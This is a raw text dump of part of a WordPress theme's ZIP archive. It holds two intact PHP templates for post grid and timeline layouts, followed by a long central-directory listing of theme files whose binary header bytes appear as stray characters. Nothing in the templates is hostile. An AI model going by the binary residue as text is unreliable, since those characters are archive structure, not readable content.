				if ( get_theme_mod( 'penci_grid_readmore_button' ) ):
					$class_button .= ' penci-btn-make-button';
				endif;
				if ( get_theme_mod( 'penci_grid_readmore_align' ) ):
					$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
				endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>

			<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
				<div class="grid-post-box-meta">
					<?php do_action( 'penci_grid_meta' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) ): ?>
						<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
							if ( function_exists( 'coauthors_posts_links' ) ):
								penci_coauthors_posts_links();
							else:
								?>
								<a class="author-url url fn n"
									href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) ): ?>
						<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ): ?>
						<span class="otherl-comment"><a
									href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( get_theme_mod( 'penci_grid_countviews' ) ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
						<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
				</div>
			<?php endif; ?>
        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post pclist-layout penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $j; ?>
PK     N\g\(  (    content-timeline.phpnu [        <?php
/**
 * Template loop for gird 2 style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id                 = get_the_ID();
$heading_title_tag       = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$showcat           = ! get_theme_mod( 'penci_grid_cat' );
$excerpt           = ! get_theme_mod( 'penci_grid_remove_excerpt' );
$excerpt_length    = get_theme_mod( 'penci_post_excerpt_length', 30 );
$thumbnail         = penci_featured_images_size();
$mthumb_size       = '';
$disable_lazy      = get_theme_mod( 'penci_disable_lazyload_layout' );
$readmore_icon     = get_theme_mod( 'penci_grid_remove_arrow' );
$readmore_icon_pos = get_theme_mod( 'penci_grid_readmore_align' );
$readmore          = get_theme_mod( 'penci_grid_add_readmore' );
$item_part = ( $j % 2 === 0 ) ? 'right' : 'left';
$align = 'center';
$center_side = '';

if ( $align == 'center' && $center_side ) {
	$item_part = $center_side;
}

if ( ( $j % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
    <div class="penci-tiline-item penci-tiline-item-date-wrap right">
        <div class="penci-tiline-date">
			<span>
				<?php penci_soledad_time_link(); ?>
			</span>
        </div>
    </div>
<?php
endif;
?>
<div class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?> main-alt-part">

    <div class="penci-tiline-item-main-wrapper">
        <div class="penci-tiline-line">
            <span></span>
        </div>
        <div class="penci-tiline-item-main-container">
			
			<?php if( ! get_theme_mod('penci_grid_icon_format') ): ?>
            <div class="penci-tiline-icon">
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'far fa-image' ); ?></span>
				<?php elseif ( has_post_format( 'link' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-link' ); ?></span>
				<?php elseif ( has_post_format( 'quote' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></span>
				<?php elseif ( has_post_format( 'video' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
				<?php elseif ( has_post_format( 'audio' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-music' ); ?></span>
				<?php else : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-file' ); ?></span>
				<?php endif; ?>
            </div>
			<?php endif; ?>

            <div class="penci-tiline-item-main">
                <span class="penci-tiline-arrow"></span>
                <div class="penci-clearfix penci-biggrid-wrapper penci-grid-col-1 penci-grid-mcol-1 penci-bgrid-based-post penci-bgrid-style-1 pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-below pencibg-imageh-none pencibg-texth-none pencibg-textani-movetop textop pc-flexmnld">
                    <div class="penci-clearfix penci-biggrid penci-bgstyle-1 penci-bgel">
                        <div class="penci-biggrid-inner default">
                            <div class="penci-clearfix penci-biggrid-data penci-dflex">
                                <div class="penci-bgitem">
                                    <div class="penci-bgitin">
                                        <div class="penci-bgmain">
											
											<div class="pcbg-thumb">
												<?php
												do_action( 'penci_bookmark_post', get_the_ID() );
												?>
												<div class="pcbg-thumbin"><a class="pcbg-bgoverlay"
																				href="<?php the_permalink(); ?>"
																				title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
													<div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ), ! $disable_lazy ); ?>
															class="<?php echo penci_layout_bg_class( ! $disable_lazy ); ?> penci-image-holder">
														<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ), get_the_title(), ! $disable_lazy ); ?>
													</div>
												</div>
											</div>
											
                                            <div class="pcbg-content">
                                                <div class="pcbg-content-flex"><a class="pcbg-bgoverlay"
                                                                                  href="<?php the_permalink(); ?>"
                                                                                  title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                                    <div class="pcbg-content-inner bgcontent-block"><a
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="pcbg-bgoverlaytext item-hover"></a>

														<?php if ( $showcat ) : ?>
                                                            <div class="pcbg-above item-hover">
                                                <span class="cat pcbg-sub-title">
													<?php penci_category( '' ); ?>
                                                </span>
                                                            </div>
														<?php endif; ?>

                                                        <div class="pcbg-heading item-hover">
															
															<h3 class="pcbg-title"
																title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
																<a href="<?php the_permalink(); ?>">
																	<?php the_title(); ?>
																</a>
															</h3>
															
                                                        </div>
                                                        <div class="grid-post-box-meta pcbg-meta item-hover">
															
                                                                <div class="pcbg-meta-desc">
                                                <span class="bg-date-author author-italic author vcard">
                                                    <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                                penci_coauthors_posts_links();
	                                                else: ?>
                                                        <a class="author-url url fn n"
                                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                                <?php endif; ?>
                                                </span>
                                                                    <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
                                                                    <?php do_action( 'penci_extra_meta' ); ?>
                                                                </div>
															
															<?php if ( $excerpt ) : ?>
                                                                <div class="pcbg-pexcerpt item-content entry-content">
																	<?php penci_the_excerpt( $excerpt_length ); ?>
                                                                </div>
															<?php endif; ?>
                                                        </div>
														<?php if ( $readmore ) : ?>
                                                            <div class="pcbg-readmore-sec item-hover">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
																	<?php if ( $readmore_icon ): ?>
																		<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
																	<?php endif; ?>
                                                                </a>
                                                            </div>
														<?php endif; ?>

                                                        <?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
                                                            <div class="penci-post-box-meta penci-post-box-timeline">
                                                                <div class="penci-post-share-box">
                                                                    <?php echo penci_getPostLikeLink( get_the_ID() ); ?>
                                                                    <?php penci_soledad_social_share(); ?>
                                                                </div>
                                                            </div>
                                                        <?php endif; ?>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

        </div>
    </div>
</div>
<?php

if ( ( $j % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
    <div class="penci-tiline-item penci-tiline-item-date-wrap">
        <div class="penci-tiline-date">
			<span>
				<?php penci_soledad_time_link(); ?>
			</span>
        </div>
    </div>
<?php
endif;

if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK       N\e                    content-small-list.phpnu [        PK       N\~                7  js/archive-more-post.jsnu [        PK       N\{b=  b=              u1  js/notification.jsnu [        PK       N\8/                o  js/google_cse_v2.jsnu [        PK       N\B                &q  js/megamenus.jsnu [        PK       N\ۘR  R              G~  js/magnific-popup.jsnu [        PK       N\                js/jstat.min.jsnu [        PK       N\_&                 js/main.min.jsnu [        PK       N\=Cn  n               js/image-compare.jsnu [        PK       N\=Bh  h              ~ js/customizer-helper.jsnu [        PK       N\.0 0             . js/libs-script.min.jsnu [        PK       N\1$R  R              z js/heading-animates.jsnu [        PK       N\gҽd                 js/jquery.marquee.min.jsnu [        PK       N\% %              js/formula.min.jsnu [        PK       N\xqeܳ&  &              C	 js/ajax-more-scroll-slist.jsnu [        PK       N\Q                B"
 js/archive-more-post.min.jsnu [        PK       N\E                /
 js/detector.min.jsnu [        PK       N\5D  D              4
 js/video-background.jsnu [        PK       N\Kh,i                y
 js/mc4wp-form.jsnu [        PK       N\hՆޱ] ]             }
 js/jquery.min.jsnu [        PK       N\b	  	               js/detector.jsnu [        PK       N\f                ' js/customizer.jsnu [        PK       N\>^{"  "              } js/waypoints.min.jsnu [        PK       N\l'	  '	              K js/float-banner.jsnu [        PK       N\}                 js/widget-tabs.jsnu [        PK       N\qx                 js/more-post-scroll.min.jsnu [        PK       N\¶d%  %              % js/more-terms-scroll-bg.jsnu [        PK       N\2Yn|	  |	              a8 js/html5.jsnu [        PK       N\XI!  I!              B js/ajax-more-slist.jsnu [        PK       N\*M-a                c js/widgets-ajax.jsnu [        PK       N\6.1  .1              q js/more-post-scroll.jsnu [        PK       N\I$āY
  Y
               js/contact-form.jsnu [        PK       N\ǽL&  &               js/more-post.jsnu [        PK       N\q-4  4               js/jquery.autocomplete.min.jsnu [        PK       N\Qˎ=  =              D	 js/more-terms-bg.jsnu [        PK       N\cB	 N   N               js/ajax-filter-latest.jsnu [        PK       N\7X                ,e js/advance-gmaps.jsnu [        PK       N\r+!C9  C9              .k js/ajax-filter-slist.jsnu [        PK       N\|"f>  >               js/get_user.jsnu [        PK       N\ygq  q              4 js/header-scroll.jsnu [        PK       N\?h!  !               js/heading-animates-wb.jsnu [        PK       N\^F]  ]              R js/avatars.jsnu [        PK       N\X6-  -               js/ajax-filter-fcat.jsnu [        PK       N\6                 > js/archive_ajax_navigation.jsnu [        PK       N\^yA  A               js/imagesloaded.pkgd.jsnu [        PK       N\{"(  (              , js/admin-post.jsnu [        PK       N\O!  !              4 js/selection-sharer.jsnu [        PK       N\l3  3              uV js/advanced-calculator.jsnu [        PK       N\$M                l js/post-like.jsnu [        PK       N\S4  4              =r js/ajax-filter-bg.jsnu [        PK       N\5=                b js/more-post.min.jsnu [        PK       N\xF                 js/nav-scroll.jsnu [        PK       N\A>6  6               js/js-cookies.jsnu [        PK       N\G                 js/content-protector.jsnu [        PK       N\"F  
            ! js/main.jsnu [        PK       N\0                r js/feedback.jsnu [        PK       N\

jq  q              y js/reorder.jsnu [        PK       N\۠K                ' js/reviews.jsnu [        PK       N\+%'  '              8 js/penci-marquee.jsnu [        PK       N\                4 js/jquery.plugin.min.jsnu [        PK       N\AN{                mA js/ajax-filter-terms.jsnu [        PK       N\)\_<
  
              ^ js/darkmode-loading.jsnu [        PK       N\wT                  i js/penci-social-counter.jsnu [        PK       N\"-U*  U*              j js/admin-widget.jsnu [        PK       N\db                $ js/content-accordion.jsnu [        PK       N\uØ                ; js/abc-scroll.jsnu [        PK       N\/                 js/sticky_share.jsnu [        PK       N\2r<  <              c js/smoothscroll.jsnu [        PK       N\b                j js/elementor.jsnu [        PK       N\S֧                e js/admin-gallery.jsnu [        PK       N\MuD                t js/field_upload.jsnu [        PK       N\j                   js/field_color.jsnu [        PK       N\7 ,   ,                js/jquery.range-min.jsnu [        PK       N\b r  r              z js/penci-popup.jsnu [        PK       N\2t                - js/jquery.toc.jsnu [        PK       N\(  (              3 js/custom-fonts.min.jsnu [        PK       N\Ohջ                 js/age-verify.jsnu [        PK       N\Jޟ"  "               js/ajax-search.jsnu [        PK       N\lw#  #              
 js/theia-sticky-sidebar.jsnu [        PK       N\@                /. js/customizer-preview.jsnu [        PK       N\Z8  8              : js/web-stories.jsnu [        PK       N\Q  Q              M js/getpaid.jsnu [        PK       N\"  "              P js/penci-lazy.jsnu [        PK       N\N2                r js/doubletaptogo.jsnu [        PK       N\fԌ>  >              ;x js/post-like.min.jsnu [        PK       N\N                { js/inview.jsnu [        PK       N\,xK  K               js/jquery.raty.jsnu [        PK       N\	]Go  o  
             js/ff40.jsnu [        PK       N\#                 js/live-visitor.jsnu [        PK       N\y>Mr  r               js/fitvids.jsnu [        PK       N\λ'                 js/smooth-scroll.min.jsnu [        PK       N\~` `              js/gsap.min.jsnu [        PK       N\!  !              #' js/penci-el-toc.jsnu [        PK       N\])                CI js/jquery.counterup.min.jsnu [        PK       N\.܂                R js/darkmode.jsnu [        PK       N\/5                b js/jquery.toast.min.jsnu [        PK       N\	/=    
            | js/exit.jsnu [        PK       N\3#                 js/cursor.jsnu [        PK       N\>	  	               js/admin-edit.jsnu [        PK       N\V&    	             js/map.jsnu [        PK       N\SK'7  '7               js/jquery.countdown.min.jsnu [        PK       N\7}                e js/admin-gallery-new.jsnu [        PK       N\Ö                 js/archive-animation.jsnu [        PK       N\q                 js/mtp-filters.jsnu [        PK       N\78tr  r               js/jquery.pjax.jsnu [        PK       N\g%                  js/more-post-bg.jsnu [        PK       N\X|d                 js/isotope.pkgd.min.jsnu [        PK       N\0                 js/more-post-scroll-bg.jsnu [        PK       N\խ    
            < footer.phpnu [        PK       N\7~                > content-classic-grid.phpnu [        PK       N\wYSv  v              @ page-fullwidth.phpnu [        PK       N\%  %              B sidebar-bbpress.phpnu [        PK       N\:c c             H dark.cssnu [        PK       N\(  (  &             template-parts/single-post-format2.phpnu [        PK       N\6D    "            F template-parts/single-style-19.phpnu [        PK       N\'  '  !            Z template-parts/single-content.phpnu [        PK       N\QFb    "            F_ template-parts/single-style-11.phpnu [        PK       N\1"  "  "            r template-parts/single-style-13.phpnu [        PK       N\G	  	                template-parts/page-header.phpnu [        PK       N\?J,    !            " template-parts/single-style-7.phpnu [        PK       N\[    "             template-parts/single-style-10.phpnu [        PK       N\ˣ    %            ۸ template-parts/single-post-header.phpnu [        PK       N\0C    "            A template-parts/header/header-9.phpnu [        PK       N\s)    "            U template-parts/header/header-3.phpnu [        PK       N\h    (            Q template-parts/header/feature-slider.phpnu [        PK       N\    &             template-parts/header/vertical-nav.phpnu [        PK       N\q:    "            	 template-parts/header/header-6.phpnu [        PK       N\r`  `  "             template-parts/header/header-5.phpnu [        PK       N\PY  Y  "            Z template-parts/header/header-2.phpnu [        PK       N\!    #            , template-parts/header/cart-icon.phpnu [        PK       N\r}Qp    "            1 template-parts/header/header-1.phpnu [        PK       N\vEw      %            @8 template-parts/header/logo-mobile.phpnu [        PK       N\kæ"  "              < template-parts/header/logo.phpnu [        PK       N\Fz    "            %C template-parts/header/header-4.phpnu [        PK       N\nB$    1            UJ template-parts/header/mailchimp-below-header2.phpnu [        PK       N\aJ	  	              M template-parts/header/menu.phpnu [        PK       N\    '            O template-parts/header/top-instagram.phpnu [        PK       N\\	  	  #            NQ template-parts/header/header-10.phpnu [        PK       N\n    "            J[ template-parts/header/header-8.phpnu [        PK       N\>
  >
  (            g template-parts/header/logo-has-trans.phpnu [        PK       N\^ٰ    "            Dr template-parts/header/header-7.phpnu [        PK       N\t7Q  Q  $            Fy template-parts/header/top-search.phpnu [        PK       N\+    ,             template-parts/header/vertical-menu-shop.phpnu [        PK       N\Cvc   c   #            ތ template-parts/header/shop-icon.phpnu [        PK       N\#̶F  F  '             template-parts/header/header-second.phpnu [        PK       N\dX	  	  #            1 template-parts/header/header-11.phpnu [        PK       N\6~z  z  0             template-parts/header/mailchimp-below-header.phpnu [        PK       N\os,L0  0  "             template-parts/single-style-16.phpnu [        PK       N\'7  7  *            r template-parts/single-meta-comment-top.phpnu [        PK       N\`    !             template-parts/single-style-9.phpnu [        PK       N\~q{5(  5(  !            i template-parts/menu-hamburger.phpnu [        PK       N\x    "             template-parts/single-style-18.phpnu [        PK       N\9_    &            5 template-parts/menu-hamburger-icon.phpnu [        PK       N\VU    !            j template-parts/single-sidebar.phpnu [        PK       N\!](  (  #             template-parts/single-reactions.phpnu [        PK       N\    "            >" template-parts/single-style-15.phpnu [        PK       N\                 7 template-parts/footer/footer.phpnu [        PK       N\O
@  
@  %            C template-parts/footer/footer-main.phpnu [        PK       N\&ӢL    "            g template-parts/single-style-22.phpnu [        PK       N\DTi    *            c template-parts/single-breadcrumb-inner.phpnu [        PK       N\?0+    !             template-parts/single-style-6.phpnu [        PK       N\    )             template-parts/single-entry-header-21.phpnu [        PK       N\1Aj  j  !            ޾ template-parts/single-style-3.phpnu [        PK       N\BQ   Q   %             template-parts/single-post-format.phpnu [        PK       N\    "            ? template-parts/single-sections.phpnu [        PK       N\Ee
z    !             template-parts/archive-sorter.phpnu [        PK       N\2z    &            } template-parts/single-content-main.phpnu [        PK       N\e@    "             template-parts/single-style-20.phpnu [        PK       N\p+    "            ) template-parts/single-style-17.phpnu [        PK       N\?    5            Z< template-parts/latest-posts-sc/content-small-list.phpnu [        PK       N\.g=  =  7            xY template-parts/latest-posts-sc/content-classic-grid.phpnu [        PK       N\    6            \ template-parts/latest-posts-sc/content-photography.phpnu [        PK       N\$    2            Eq template-parts/latest-posts-sc/content-mixed-3.phpnu [        PK       N\5S    3            gs template-parts/latest-posts-sc/content-featured.phpnu [        PK       N\ڂԥ    8            Վ template-parts/latest-posts-sc/content-standard-grid.phpnu [        PK       N\E    7             template-parts/latest-posts-sc/content-overlay-grid.phpnu [        PK       N\gUA  UA  2             template-parts/latest-posts-sc/content-classic.phpnu [        PK       N\3{  {  2             template-parts/latest-posts-sc/content-masonry.phpnu [        PK       N\    9             template-parts/latest-posts-sc/content-overlay-grid-2.phpnu [        PK       N\FdB  B  :             template-parts/latest-posts-sc/content-classic-boxed-1.phpnu [        PK       N\ib|%  %  7             template-parts/latest-posts-sc/content-grid-boxed-4.phpnu [        PK       N\Ys    2              template-parts/latest-posts-sc/content-boxed-1.phpnu [        PK       N\    7            6  template-parts/latest-posts-sc/content-overlay-list.phpnu [        PK       N\#3$  $  5            8  template-parts/latest-posts-sc/content-magazine-2.phpnu [        PK       N\u(  (  /            N]  template-parts/latest-posts-sc/content-list.phpnu [        PK       N\]Z%  Z%  /            ~  template-parts/latest-posts-sc/content-grid.phpnu [        PK       N\so    :            7  template-parts/latest-posts-sc/content-overlay-boxed-1.phpnu [        PK       N\#    4            c  template-parts/latest-posts-sc/content-masonry-2.phpnu [        PK       N\Zi    2            i  template-parts/latest-posts-sc/content-mixed-2.phpnu [        PK       N\'7    8              template-parts/latest-posts-sc/content-standard-list.phpnu [        PK       N\*zg-  -  2              template-parts/latest-posts-sc/content-mixed-4.phpnu [        PK       N\@}$  $  5            q  template-parts/latest-posts-sc/content-magazine-1.phpnu [        PK       N\!    9              template-parts/latest-posts-sc/content-classic-grid-2.phpnu [        PK       N\^M  M  7              template-parts/latest-posts-sc/content-mixed-larger.phpnu [        PK       N\-@!  !  5            ~  template-parts/latest-posts-sc/content-mixed-post.phpnu [        PK       N\U2r    0            ! template-parts/latest-posts-sc/content-mixed.phpnu [        PK       N\=  =  7             ! template-parts/latest-posts-sc/content-classic-list.phpnu [        PK       N\q    2            #! template-parts/latest-posts-sc/content-overlay.phpnu [        PK       N\S    :            9! template-parts/latest-posts-sc/content-standard-grid-2.phpnu [        PK       N\mE  E  3            ;! template-parts/latest-posts-sc/content-standard.phpnu [        PK       N\4:E  E  ;            ! template-parts/latest-posts-sc/content-standard-boxed-1.phpnu [        PK       N\%  %  1            Ǆ! template-parts/latest-posts-sc/content-grid-2.phpnu [        PK       N\4+  +  2            ! template-parts/latest-posts-sc/content-boxed-2.phpnu [        PK       N\#)  )  7            ! template-parts/latest-posts-sc/content-list-boxed-3.phpnu [        PK       N\o&74  74  3            =" template-parts/latest-posts-sc/content-timeline.phpnu [        PK       N\Kd  d  "            5" template-parts/single-style-21.phpnu [        PK       N\阠6    $            H" template-parts/single-breadcrumb.phpnu [        PK       N\Y  Y  !            pP" template-parts/single-style-5.phpnu [        PK       N\u@"    "            c" template-parts/single-style-12.phpnu [        PK       N\y/    /            zv" template-parts/magazine-sc/magazine-style-5.phpnu [        PK       N\r    /            j" template-parts/magazine-sc/magazine-style-6.phpnu [        PK       N\T  T  0            " template-parts/magazine-sc/magazine-style-11.phpnu [        PK       N\ױt  t  /            q" template-parts/magazine-sc/magazine-style-3.phpnu [        PK       N\Y    /            D" template-parts/magazine-sc/magazine-style-8.phpnu [        PK       N\9    /            " template-parts/magazine-sc/magazine-style-4.phpnu [        PK       N\=3\    0            " template-parts/magazine-sc/magazine-style-13.phpnu [        PK       N\`a+[    /            # template-parts/magazine-sc/magazine-style-9.phpnu [        PK       N\t     0            ## template-parts/magazine-sc/magazine-style-10.phpnu [        PK       N\y%ʅ    0            ;# template-parts/magazine-sc/magazine-style-15.phpnu [        PK       N\$	7    0            T# template-parts/magazine-sc/magazine-style-12.phpnu [        PK       N\'y"    /            g# template-parts/magazine-sc/magazine-style-2.phpnu [        PK       N\4    /            # template-parts/magazine-sc/magazine-style-7.phpnu [        PK       N\0 V  V  0            # template-parts/magazine-sc/magazine-style-14.phpnu [        PK       N\xe޷U  U  /            # template-parts/magazine-sc/magazine-style-1.phpnu [        PK       N\;jc  c  !            X# template-parts/single-style-8.phpnu [        PK       N\    &            # template-parts/single-entry-header.phpnu [        PK       N\.     "            ?# template-parts/single-style-14.phpnu [        PK       N\H;  ;  &            $ template-parts/single-meta-comment.phpnu [        PK       N\    !            /$ template-parts/single-style-4.phpnu [        PK       N\?Yۃ    	            )$ style.cssnu [        PK       N\]h  h              y,$ content-photography.phpnu [        PK       N\m&TN  N              (=$ content-mixed-3.phpnu [        PK       N\X                >$ content-featured.phpnu [        PK       N\.<c                W$ content-standard-grid.phpnu [        PK       N\?a]  ]  "            Y$ template-custom-all-blog-posts.phpnu [        PK       N\+Ç                y$ content-overlay-grid.phpnu [        PK       N\ nX.z z             }{$ fonts/penciicon.svgnu [        PK       N\+&              :~) fonts/weathericons.svgnu [        PK       N\xuF P   P  .            	Q, fonts/raleway/1Ptrg8zYS_SKggPNwIYqWqZPAA.woff2nu [        PK       N\gj(J  (J  3            , fonts/raleway/1Ptpg8zYS_SKggPNyCgw6qd_DNCb_Vo.woff2nu [        PK       N\=G  G  3            , fonts/raleway/1Ptpg8zYS_SKggPNyCgw5qN_DNCb_Vo.woff2nu [        PK       N\oJ|$G  $G  3            94- fonts/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_DNCb_Vo.woff2nu [        PK       N\,S  S  0            {- fonts/raleway/1Ptpg8zYS_SKggPNyCgw9qR_AtCb.woff2nu [        PK       N\092 T   T  0            - fonts/raleway/1Ptpg8zYS_SKggPNyCgw6qd_AtCb.woff2nu [        PK       N\[T|D  |D  0            $. fonts/raleway/1Ptrg8zYS_SKggPNwIouWqhPAMif.woff2nu [        PK       N\#V
P  P  .            li. fonts/raleway/1Ptrg8zYS_SKggPNwIouWqZPAA.woff2nu [        PK       N\ΥDTQ  TQ  .            ι. fonts/raleway/1Ptrg8zYS_SKggPNwN4rWqZPAA.woff2nu [        PK       N\ G  G  /            / fonts/raleway/1Ptsg8zYS_SKggPNyCg4Q4FqPfE.woff2nu [        PK       N\ڣXTD  TD  0            S/ fonts/raleway/1Ptrg8zYS_SKggPNwIYqWqhPAMif.woff2nu [        PK       N\B9|S  |S  ,            _/ fonts/raleway/1Ptsg8zYS_SKggPNyCg4TYFq.woff2nu [        PK       N\|O  O  *            7/ fonts/raleway/1Ptug8zYS_SKggPNyC0ITw.woff2nu [        PK       N\ҕ_D  D  0            m<0 fonts/raleway/1Ptrg8zYS_SKggPNwJYtWqhPAMif.woff2nu [        PK       N\(+S  S  0            0 fonts/raleway/1Ptpg8zYS_SKggPNyCgw5qN_AtCb.woff2nu [        PK       N\Qp P  P  .            0 fonts/raleway/1Ptrg8zYS_SKggPNwJYtWqZPAA.woff2nu [        PK       N\
FOI  I  3            &1 fonts/raleway/1Ptpg8zYS_SKggPNyCgw9qR_DNCb_Vo.woff2nu [        PK       N\iO5D  D  0            p1 fonts/raleway/1Ptrg8zYS_SKggPNwN4rWqhPAMif.woff2nu [        PK       N\>PS  PS  0            *1 fonts/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_AtCb.woff2nu [        PK       N\bΫzC  C  ,            	2 fonts/raleway/1Ptug8zYS_SKggPNyCMIT5lu.woff2nu [        PK       N\Uh- h-             M2 fonts/fontawesome-webfont.woff2nu [        PK       N\Q`gh  gh              {3 fonts/icomoon.svgnu [        PK       N\䰧                )3 fonts/weathericons.woff2nu [        PK       N\{se4A  4A              !4 fonts/penciicon.woff2nu [        PK       N\~                4 fonts/raty.woffnu [        PK       N\Qyf                4 fonts/raty.svgnu [        PK       N\4@  @              4 fonts/penciicon.eotnu [        PK       N\|                xk5 fonts/icomoon.eotnu [        PK       N\Opn n             5 fonts/fontawesome-webfont.eotnu [        PK       N\Ŭn<  <              p8 fonts/raty.ttfnu [        PK       N\Yy              8 fonts/weathericons.ttfnu [        PK       N\1              9 fonts/FontAwesome.otfnu [        PK       N\Zȫ                ; fonts/icomoon.woffnu [        PK       N\N6
E                ; fonts/goodreads-g.svgnu [        PK       N\v3d  d              ; fonts/penciicon.ttfnu [        PK       N\\DŬ              S< fonts/fontawesome-webfont.ttfnu [        PK       N\ʅEo              > fonts/weathericons.eotnu [        PK       N\@R_                `@ fonts/raty.eotnu [        PK       N\3{~ ~             h@ fonts/fontawesome-webfont.woffnu [        PK       N\Y*                A fonts/README.txtnu [        PK       N\DD0pL  pL              $A fonts/penciicon.woffnu [        PK       N\m_                CB fonts/weathericons.woffnu [        PK       N\S.X  X               C fonts/icomoon.ttfnu [        PK       N\?xP  xP  4            L@C fonts/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZy3foPNB.woff2nu [        PK       N\axjxpq  pq  /            (C fonts/ptserif/EJRSQgYoZZY2vCFuvAnt66qSVys.woff2nu [        PK       N\+
    +            D fonts/ptserif/EJRVQgYoZZY2vCFuvAFWzr8.woff2nu [        PK       N\G@<m  <m  2            ނD fonts/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZynfoA.woff2nu [        PK       N\E    0            |D fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_rC1chb-.woff2nu [        PK       N\|]@Q  @Q  2            xE fonts/ptserif/EJRSQgYoZZY2vCFuvAnt66qWVyvHpA.woff2nu [        PK       N\< Q   Q  .            ^E fonts/ptserif/EJRVQgYoZZY2vCFuvAFYzr-tdg.woff2nu [        PK       N\b    .            F fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_r21cg.woff2nu [        PK       N\Էyx  x  .            F fonts/ptserif/EJRVQgYoZZY2vCFuvAFbzr-tdg.woff2nu [        PK       N\QX0X  0X  0            <G fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_rO1chb-.woff2nu [        PK       N\Gj  j  4            sG fonts/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyTfoPNB.woff2nu [        PK       N\&*:4I  4I  2            G fonts/ptserif/EJRSQgYoZZY2vCFuvAnt66qcVyvHpA.woff2nu [        PK       N\v